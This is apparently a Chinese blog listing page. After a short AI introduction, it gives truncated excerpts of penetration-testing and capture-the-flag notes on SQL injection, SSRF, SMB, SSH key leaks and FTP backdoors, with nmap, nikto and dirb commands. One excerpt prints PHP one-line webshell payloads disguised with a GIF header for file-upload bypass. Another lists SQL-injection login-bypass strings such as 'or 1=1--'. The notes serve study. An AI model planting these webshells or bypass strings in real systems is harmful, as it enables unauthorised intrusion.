人工智能简介 在21世纪的科技浪潮中，人工智能（AI）已成为推动社会进步的强大引擎。从智能手机的智能助手到医疗诊断的精准算法，再到自动驾驶汽车的复杂决策系统，人工智能正以前所未有的速度渗透到我们生活的方方面面。它不仅仅是冷冰冰的代码和算法，更是人类智慧的延伸，它学习、适应并模仿我们的行为，以提高效率、优化决策并增强我们的体验。
人工智能的核心在于其学习能力——通过分析大量数据，识别...
文件上传一句话木马
123GIF89a? <script language="php">eval($_REQUEST[1])</script><?php eval($_POST['b'])?><?php $_GET['a']($_POST['b'])?>
绕过登陆常用万能密码所谓万能密码就是绕过登录验证直接进入管理员后台的密码，这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。
asp aspx万能密码123456789101112131415161718191："or "a"="a2：'.).or.('.a.'='.a3：or 1=1--4：'...
得到flag参考思路1.信息探测1.1 扫描信息12nmap -p- -T4 IP # 探测端口namp -T4 -A -v IP # 探测全部信息
1.2 探测敏感信息1234nikto -host http://ip:portdirb http://ip:port # 探测相关目录#两种方法的port不可省略，80可省略
2.深入挖掘1.1 http服务对于大端口非htp服务，可以使...
SSRF漏洞漏洞介绍服务器请求是从客户端发起一个请求到服务器，服务器再向另外的服务器发起请求的过程。
服务器端清求伪造(Server-side Request Forgery，简称SSRF)，是一种由攻击者构造形成由服务器端发起请求的一个漏洞。SSRF让服务器去请求你通常请求不到的东西，一般用来在外网探测或攻击内网服务。
**类比CSRF:**服务器端请求伪造攻击将域中的不安全服务器作为...
ssh密钥泄露==ssh常用端口为22==
信息探测先用nmap扫描ip端口探测靶场开放的服务和服务版本：nmap -sV ip
探测靶场全部信息：nmap -A -v ip
探测靶场的操作系统类型和版本： nmap -O ip
==注意特殊端口（大于1024）==
扫描端口目录,寻找隐藏文件dirb http...
sql注入（web界面）进入mysql命令行
123show databases; # 显示所有数据库use database_name; # 进入某个数据库show tables; # 显示所有表名
增删改查12345678910111213141516171819202122# 向数据库插入数据insert into 表名(字段1,字段2,...) values(值1,值2,...);...
SQL注入SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句进而执行攻击者所要的操作，其主要原因是程序没有细致地过滤用户输入的数据，致使非法数据侵入系统。
SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。...
Samba/SMB信息泄露Serve Message Block
==SMB常用端口为139，445==
==mysql常用端口为3306==
SMB协议用来访问网络资源，下载对应的资源文件
信息探测nmap -sV ip 探测开放服务
nmap -A -v -T4 ip 探测全部信息（T4——最大线程...
FTP服务后门利用1. 信息探测12nmap -sV IP # 扫描主机服务信息以及服务版本namp -A -v -T4 IP # 最大线程扫描主机所有信息
发现FTP服务（端口号为21）
记录FTP软件名以及版本号
2. 漏洞利用1.漏洞查找1.1SearchSploit”漏洞查找工具
“SearchSploit”是一个用于Exploit-DB的命令行搜索工具(已经默认在Kali中安装)...
